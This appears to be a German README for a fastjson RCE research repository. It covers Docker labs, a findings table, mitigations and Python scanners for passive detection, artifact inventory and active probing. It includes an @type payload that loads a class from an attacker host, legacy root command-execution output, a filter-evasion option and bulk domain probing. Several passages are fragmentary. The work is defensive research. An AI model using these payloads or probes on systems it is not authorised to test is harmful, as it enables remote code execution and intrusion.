
Docker-Labs + defensiver Scanner für fastjson Remote-Class-Load-RCE. fastjson 1.2.66-1.2.83: @JSONType-Ressourcenprobe (CVE-2026-16723). fastjson2 2.0.57: Der @type des Angreifers erreicht loadClass mit deaktiviertem autoType über polymorphe Typen (@JSONType(seeAlso) / Jackson @JsonSubTypes). Reine Marker-Payloads; safeMode- und JDK17-Kontrollen.
@JSONType Remote-JAR/FD-Ketten-Labor und ErkennungDieses Repository enthält nun zwei getrennte Fastjson-Forschungslinien:
modern-fd/ ist die empfohlene, nur-Marker-Rekonstruktion der
Fastjson-1.2.83-Einzelkörper-Remote-JAR/Dateideskriptor-Kette auf Spring
Boot 3, normal eingebettetem Tomcat und JDK 17. Sie verwendet die wörtliche
Fest-DTO-Senke JSON.parseObject(body, BoundEnvelope.class) bei deaktiviertem AutoType.scanner/ enthält passive Anfrage-/Log-Erkennung, statische
Artefakt-Inventarisierung und eine nicht ausführende Erreichbarkeitssonde.Der Bug:
ParserConfig.checkAutoTypeprüft jeden@type-Wert auf die@JSONType-Annotation, indemgetResourceAsStream(typeName.replace('.','/') + ".class")ausgeführt wird. Auf modernen Linux/JDK-Kombinationen kann eine Remote-jar:http-Sonde das JAR hinter einem offenen Deskriptor im Cache belassen; späterejar:file:/proc/self/fd/N-Sonden im selben Körper können es unter gültigen Klassennamen wieder öffnen und eine annotierte Klasse initialisieren. Die exakte 1.2.83-Komposition funktioniert bei deaktiviertem AutoType und über ein festes DTO, dasList<Object>enthält. Bindung allein ist daher keine Abschwächung. Vollständiger Durchlauf:docs/MECHANISM.md.
Die begleitende projektsweite Überprüfung umfasste 2.041 aufrufbare/statische-Initialisierer-Zeilen in allen 193 Fastjson-1.2.83-Produktions-Java-Dateien. Die folgende Tabelle priorisiert die Ergebnisse mit der höchsten Auswirkung; sie ist keine Behauptung, dass jede Fastjson-Bereitstellung betroffen ist. Dieses Repository reproduziert direkt F105. Die übrigen Einträge fassen separat versiegelte Quellcode-Überprüfungen und begrenzte Laborbeweise zusammen.
Siehe findings/FINDINGS.md für Validierungskennzeichnungen,
Voraussetzungen, Befunde niedrigerer Stufe, Abhilfeprioritäten und explizite negative
Grenzen.
Dieses Repository dient der Ausbildung, defensiven Forschung und autorisierten Prüfung von Systemen,
die Ihnen gehören oder für die Sie ausdrücklich die Erlaubnis zur Prüfung haben. Host-Publikation, soweit für das
interne Netzwerk des modernen Labors unterstützt, wird nur auf 127.0.0.1 angefragt; seine Skripte treiben den
Test vollständig innerhalb dieses isolierten Netzwerks. Das moderne Labor hat kein Prozessausführungs-
Primitiv und setzt nur einen festen In-JVM-Marker.
Das ältere JDK-8-Labor führt id aus und schreibt seine Ausgabe nach /tmp/PWNED; halten Sie es
isoliert. Richten Sie den Legacy-Exploit oder die aktive Sonde nicht gegen unbefugte Systeme.
Das scanner/-Verzeichnis enthält vier abhängigkeitsfreie Python-3-Werkzeuge (keine pip-
Installationen).
fjdetect.py — untersucht dekodierte JSON-Anfragekörper oder strukturierte
JSON-Logs passiv auf Remote-JAR-Seeds und /proc/self/fd- oder /dev/fd-Sequenzen.fjscan_static.py — inventarisiert Jars/Wars/Ears auf die verwundbare Kombination
(inhaltsgestützt, metadatenverifiziert 1.2.83 × tatsächlicher Spring-Boot-Loader-Klassen-
inhalt). Sondenenthaltende 1.2.48–1.2.82-Veröffentlichungen und reine Metadaten-/Dateinamen-
kandidaten werden separat zur Überprüfung gemeldet. CI-Gate-freundlich (Exit 2 bei EXPOSED).fjscan_probe.py — aktive, sichere Erreichbarkeitsprüfung: feuert den @type auf einen Canary,
den Sie kontrollieren (eingebauter Listener oder Burp Collaborator / interactsh) und korreliert den
Ressourcenabruf-Callback. Sein eingebauter Listener gibt ein leeres 404 zurück; konfigurieren Sie
externe Listener äquivalent. Ein Callback beweist keine Klassenladung oder RCE.fjpayload.py — erzeugt Remote-Ressourcen-Abrufkörper für manuelle Tests;
verwenden Sie nur einen leeren/404-Listener, wenn keine Ausführung beabsichtigt ist.# 1) passive Anfrage-/Log-Inspektion
python3 scanner/fjdetect.py --ndjson gateway.jsonl
# 2) Inventarisierung von Build-Artefakten / entpackten Images (parallel)
python3 scanner/fjscan_static.py /path/to/artifacts --threads 16
# 3) aktive Sonde über viele Domains — am einfachsten: --auto feuert Baseline + plain + escaped Vergleich
# DNS-Sonden pro Ziel und druckt eine Zusammenfassung; DNS-Callbacks landen in Ihrem Burp Collaborator
python3 scanner/fjscan_probe.py --collaborator <sub>.oastify.com --auto --targets domains.txt --threads 50
cat domains.txt | python3 scanner/fjscan_probe.py --collaborator <sub>.oastify.com --auto --targets -
# 4) Bulk-Abruf-Payloads für manuelle Tests (eine pro Domain, stabiles Korrelationstoken)
python3 scanner/fjpayload.py <collab-or-ip> --targets-file domains.txt
domains.txt = ein Ziel pro Zeile — eine vollständige [METHOD ]URL oder eine bloße Domain
(erweitert mit --scheme / --target-port / --path); # -Kommentare erlaubt:
api.internal.example
POST https://svc.example/v1/ingest
10.0.0.7:8080
fjscan_probe.py (aktive Sonde)
fjscan_static.py (Inventarisierung): <paths…> · --threads N (Standard 8) · --json
(Maschinenausgabe; Exit-Code 2, wenn irgendein EXPOSED).
fjpayload.py (Generator): <collaborator> · --targets-file/-f <file\|-> (Bulk) ·
--port · --token · --wrap · --entry.
Collaborator-Hinweis: die
@JSONType-jar:-Senke führttypeName.replace('.','/')aus, also wird jeder Punkt im Host zu einem Schrägstrich — eine gepunktete Burp-Collaborator-Subdomain (abc.oastify.com) kann nicht darüber zugestellt werden (die Werkzeuge fallen auf eine Integer-IP + URL-Pfad-Token zurück). Um einen Callback in einen öffentlichen Collaborator zu bekommen, verwenden Sie--probe-type dns: dasjava.net.Inet4Address-Primitiv akzeptiert einen gepunkteten Host und feuert eine DNS-Interaktion (<tok>.<sub>.oastify.com), was dasInet4Address-Parse-Primitiv + Egress bestätigt. Das ist Voraussetzungs- beweis, kein Beweis für das Remote-JAR/FD-Terminal. Siehescanner/README.md.
Anforderungen: Docker + Docker Compose und ausgehender Zugriff auf Maven Central beim ersten Build (um fastjson / spring-boot-loader / asm zu holen).
cd modern-fd
./scripts/static-safety-check.sh
./scripts/run-positive.sh
./scripts/run-controls.sh
Der Positivfall sendet einen Körper an einen normalen eingebetteten-Tomcat-Anfrage-Thread. Seine
wörtliche Senke ist final BoundEnvelope parsed = JSON.parseObject(body, BoundEnvelope.class). Erfolg ist nur die feste Eigenschaft und das Log-Token
FASTJSON_MODERN_FD_MARKER=fastjson-modern-fd-marker-v1; die Antwort gibt
weiterhin ein normal gebundenes BoundEnvelope zurück. Das Beweisverzeichnis enthält die
Anfrage, Antwort, Container-Metadaten, Logs und ein SHA-256-Manifest.
Die Kontrollen decken gewöhnliches JSON, FD-Kandidaten ohne Seed, einen Seed gefolgt von
unmöglichen Deskriptoren und SafeMode ab. Siehe modern-fd/README.md.
Die FearsOff-Offenlegung zeigt dasselbe beibehaltene-JAR-Terminal auf JDK 21 unter Verwendung eines prozesspersistenten Caches und eines FD-Kandidaten pro Anfrage. Das moderne Labor dieses Repositorys reproduziert stattdessen eine Einzelkörper-JDK-17-Komposition: der fehlertolerante Seed und begrenzte FD-Kandidaten werden von einer festen-DTO-Anfrage getragen. JDK 21 bleibt extern berichtet; es ist kein hier erzeugtes Laufzeitergebnis.
Das ursprüngliche Compose-Projekt auf oberster Ebene bleibt für die Reproduktion der
älteren einstufigen Route verfügbar. Anders als modern-fd/ ist es befehlsfähig und sollte
nur im isolierten Labor ausgeführt werden:
make up
make exploit
make down
Erwartete make exploit-Ausgabe:
[*] payload : {"@type":"jar:http:..attacker:8000.probe!.POC","x":1}
[*] response: {"ok":false,"error":"ClassCastException"} <- RCE bereits ausgelöst, DANN der Cast
[*] PROOF — Befehlsausgabe innerhalb des TARGET-Containers erfasst (/tmp/PWNED):
------------------------------------------------------------------
uid=0(root) gid=0(root) groups=0(root)
RCE_via_fastjson_JSONType
------------------------------------------------------------------
Die ClassCastException ist das Anzeichen dafür, dass Bindung keine Abschwächung ist: die Angreiferklasse
führt ihr <clinit> während der @type-Sonde aus, bevor fastjson versucht, sie in Dto zu casten.
target/Dockerfile auf JDK 17 blockiert diese
Legacy-Konstruktion mit erfundenen Namen und hinterlässt einen Abruf. Dieses Ergebnis testet
oder entschärft nicht die separate /proc/self/fd-Fortsetzung in modern-fd/.setAutoTypeSupport(true) auf — prüfen Sie das
Banner unter http://127.0.0.1:8080/.PWN_CMD='touch /tmp/i_was_here' docker compose up -d --build attacker.Aktivieren Sie -Dfastjson.parser.safeMode=true auf dem gewöhnlichen handler-freien Pfad oder
verwenden Sie den Hersteller-Build com.alibaba:fastjson:1.2.83_noneautotype, wo eine sofortige
Migration nicht möglich ist, und prüfen Sie installierte AutoTypeCheckHandlers. Beschränken Sie
JVM-Egress; migrieren Sie unvertrautes Parsing weg von Fastjson 1.x; alarmieren Sie bei dekodierten
@type-Remote-JAR-Seeds und /proc/self/fd- oder /dev/fd-Kandidaten sowohl innerhalb
einer Anfrage als auch über Anfragen korreliert. DTO-Bindung und JDK 9+ sind
keine vollständigen Abschwächungen für die moderne Komposition.
fastjson2/ ist ein zweites, unabhängiges Labor. fastjson2 enthält nicht die
Fastjson-1.x-@JSONType-Ressourcensonde. Es erlaubt jedoch, dass ein angreiferkontrollierter @type
ClassLoader.loadClass() bei deaktiviertem autoType erreicht, wenn der Parse-Pfad einen polymorphen
Typ beinhaltet — weil ObjectReaderSeeAlso's Konstruktor SupportAutoType fest verdrahtet und ein
seeAlso-Fehlschlag auf die vollständige AutoType-Auflösung zurückfällt, bevor die Zuweisbarkeits- und
DataSource/RowSet-Prüfungen laufen.
Die Auslöser sind gewöhnliche Modellierungsannotationen — @JSONType(seeAlso=), Jackson
@JsonSubTypes (berücksichtigt, weil useJacksonAnnotation standardmäßig true ist), @JsonTypeInfo,
versiegelte Typen. Unter einem Spring-Boot-Fat-Jar löst der Kontext-Classloader jar:http:-Namen auf, also
wird die Klasse aus dem Netzwerk geholt und ihr statischer Initialisierer läuft.
Reproduziert auf fastjson2 2.0.62 (neueste Veröffentlichung) und 2.0.57, auf JDK 8. safeMode=true
blockiert es; JDK 17 stuft es auf SSRF herab; autoTypeFilter(...) schützt nicht. Offengelegt von Chaitin (长亭), ~2026-07-25 — kein Befund dieses Repositorys. Der Maintainer
hat offene Härtungsarbeit in
PR #7703 (ersetzt die geschlossene
#7695), die : und ! in Typnamen ablehnt;
keine veröffentlichte Version enthält es — 2.0.62 stammt von vor beiden.
make fj2-safety # beweisen, dass das Payload nur-Marker ist
make fj2-positive # Standardkonfiguration -> Remote-Klasse definiert + initialisiert
make fj2-controls # plain parse / safeMode / JDK 17 / Jackson-only-Modell / Allowlist
/proc/self/fd-Mechanismen.@JSONType-/Jar-URL-Internnamen-Technik:
@wouijvziqy — https://github.com/wouijvziqy/Fastjson-JsonType-RCE-PoC.
attacker/Gen.java implementiert diese Technik für dieses Labor neu./proc/self/fd-Hypothese. Sie wurden als externe Berichte behandelt,
nicht als unabhängiger Laufzeitbeweis.modern-fd/ verwendet unabhängig erstellte
nur-Marker-Klassen und einen normalen Fest-DTO-Tomcat-Endpunkt.Dieses Labor und die scanner/-Werkzeuge verpacken diese Befunde in eine reproduzierbare Testumgebung und
defensive Prüfungen. Nicht verbunden mit oder unterstützt von den obigen Forschern.
| Priorität | Befund | Bewiesenes Ergebnis | Wichtige Grenze |
|---|
| 1 | F105 — Remote-@JSONType-Bytecode-Ausführung | Angreiferbereitgestellte Klasseninitialisierung über kompatible Spring-Boot-Loader, einschließlich der JDK-8-Direktroute und der Linux/JDK-17-Route mit beibehaltenem JAR über /proc/self/fd/N-Fortsetzung | Erfordert einen parser-erreichbaren @type-Träger, kompatiblen Boot/TCCL-Loader, ausgehenden Verkehr, SafeMode/IgnoreAutoType aus und ein exaktes Angreifer-JAR. Die moderne Fest-DTO-Route benötigt zusätzlich eine generische Wertspur (das Labor verwendet List<Object>), Linux-procfs, einen beibehaltenen Deskriptor und exakte Namensausrichtung; nicht universell auf jeder JDK, jedem Loader oder Betriebssystem |
| 2 | F1/F45 — TemplatesImpl-Befehlsausführung | Marker-Befehlsausführung über die Fest-DTO-API, einschließlich einer ignorierten Körpereigenschaft | Erfordert geschwächte Serverrichtlinie: Klassenaufnahme, AutoType und Befüllung privater Felder oder gleichwertige Pfade; unveränderte Standardeinstellungen blockieren dies |
| 3 | F70/C016 — unbegrenzte Pufferung und GZIP-Expansion | Typisierte Byte-/InputStream- und annotierte DTO-Pfade expandieren oder puffern ohne Ausgabegrenze; eingeschränkter Java-Heap-OOME wurde reproduziert | Endpunkt/Schema und Erreichbarkeit von Angreifer-Bytes sind erforderlich; ein produktionsweiter Ausfall wurde nicht festgestellt |
| 4 | F18/C089 — Stack-Erschöpfung des Parser-Threads | Tief verschachtelte gewöhnliche Objektwerte können unter Standard-Parsing einen StackOverflowError erzeugen | Auswirkung auf die Verfügbarkeit des Anfrage-Threads; kein unveränderlicher JVM- oder dienstweiter Absturz |
| 5 | F120/C162 — HTTP-SSRF/lokale Ressourcenladung mit festem Schema | Körpergesteuerte JEditorPane/JTextPane.page führt HTTP-Anfragen aus und kann begrenzte file:-Inhalte in den Dokumentstatus laden | Erfordert, dass die Anwendung den Swing-Typ deklariert; keine automatische Antwort-Exfiltration oder RCE wurde bewiesen |
| 6 | F118/C160 — Autorisierungs-/Datenintegritätsfehler durch Hash-Kollision | Eine ausgeprägte Unicode-FNV-1a-64-Kollision kann an eine privilegierte Enum-Konstante binden oder eine JSONPath-Mutation auf den falschen Bean-Setter lenken | Erfordert eine nutzbare Kollision und nachgelagertes Vertrauen oder eine exponierte JSONPath-Mutationsoperation; keine Klassenaufnahme oder RCE |
| 7 | F121/C163 — feste JdbcRowSet-JNDI-Erreichbarkeit | Exakte Setter-Reihenfolge verursachte eine körperausgewählte ausgehende JNDI/LDAP-Verbindung | Beweis endet bei einer Verbindung: keine Naming-Antwort, Objektfabrik, Bytecode-Ladung oder RCE |
| 8 | F2/F45 — standardmäßige DNS-Auflösung | Angreiferkontrollierte Hostname-Auflösung funktioniert unter Standardkonfiguration und über eine ignorierte Fest-DTO-Eigenschaft | Nur DNS/OOB-Interaktion, keine generische HTTP-SSRF oder RCE |
| Flag | Standard | Zweck |
|---|
--auto | aus | am einfachsten — pro Ziel Baseline + plain + Unicode-escaped Vergleichs-DNS-Sonde senden, Zusammenfassung drucken; benötigt nur --collaborator + --targets |
--canary-ip <ip> | — | eingebauter Listener-Modus; IP dieses Hosts, wie Ziele sie sehen |
--collaborator <v> | — | externer OOB (IPv4 / int / punktfreier Host / Collaborator-Subdomain) |
--probe-type <t> | jsontype | manueller Modus: jsontype = Remote-Ressourcen-Abrufpfad (jar:http-Int-IP); dns = Inet4Address-OOB über einen gepunkteten Host (Collaborator-kompatibel); both |
--targets <file|-> | — | nichtleere Zielliste; - liest stdin (erforderlich); leere/nur-Kommentar-Eingabe beendet mit Nicht-Null |
--threads N | 20 | gleichzeitige Anfrage-Worker |
--header 'K: V' | — | zusätzlicher Anfrage-Header (wiederholbar); ein browserähnlicher --user-agent wird standardmäßig für eine repräsentative Frontend-Anfrage gesendet |
--baseline '{"a":1}' | — | sendet auch einen harmlosen Kontrollkörper pro Ziel; eine Baseline-/Probe-Antwortdifferenz ist konsistent mit inhaltsempfindlicher Edge-, Middleware- oder Anwendungsbehandlung und benötigt Bestätigung |
--max-redirects N | 3 | folgt bis zu N exakt-gleicher-Ursprung-Redirects oder standardmäßigen Same-Host-HTTP:80→HTTPS:443-Upgrades (0 = keine); HTTPS-Downgrade, willkürliche Port-/Ursprungsänderungen und Cross-Host-Redirects werden blockiert; Upgrades behalten nur Basis-Nicht-Geheim-Header |
--evasion {ukey,uval,both} | none | @type-Schlüssel / Klassenwert \uXXXX-escaped (fastjson dekodiert es weiterhin); ein Nur-Evasion-Callback ist konsistent mit dekodierten Sondendaten, die einen Literal-Schlüsselwortfilter passieren, erfordert aber dennoch Parser-/Versionsbestätigung |
--scheme / --target-port / --path | http / — / /parse | wie bloße Domains erweitert werden |
--method | POST | standardmäßige HTTP-Methode |
--wrap '{"u":{{P}}}' | {{P}} | verschachtelt das Sondenobjekt in einem Feld |
--listen-port / --port | 19000 / 80 | eingebauter Canary-Port / Collaborator-Port |
--wait / --timeout | 10 / 8 | Sekunden warten auf Callbacks / Zeitlimit pro Anfrage |
| Pfad | Inhalt |
|---|
modern-fd/ | nur-Marker-Boot-3/JDK-17-Fest-DTO-FD-Ketten-Labor und entscheidende Kontrollen |
scanner/ | passive Payload-/Log-Erkennung, statische Inventarisierung und nicht ausführende Erreichbarkeitswerkzeuge |
target/ | Legacy-JDK-8-Ziel mit JSON.parseObject(body, Dto.class) unter einem manuell ausgewählten Boot-Loader |
attacker/ | Legacy-befehlsfähiger JDK-8-Klassengenerator und JAR-Server |
exploit/ | Legacy-exploit.sh-Nachweis |
docs/MECHANISM.md | annotierter Quellcode-Durchlauf |
findings/FINDINGS.md | priorisierte projektsweite Befunde, Voraussetzungen und Abhilfegrenzen |
fastjson2/-Labor ist eine
unabhängige Reproduktion dieser Offenlegung, kein ursprünglicher Befund dieses Repositorys.
Verfolgungs-Thread: issue #7702 (eröffnet von einem
Benutzer, sevck); Maintainer-Härtung in
PR #7703 / geschlossen
#7695.safeMode und die AutoType-
Geschichte hinter CVE-2022-25845).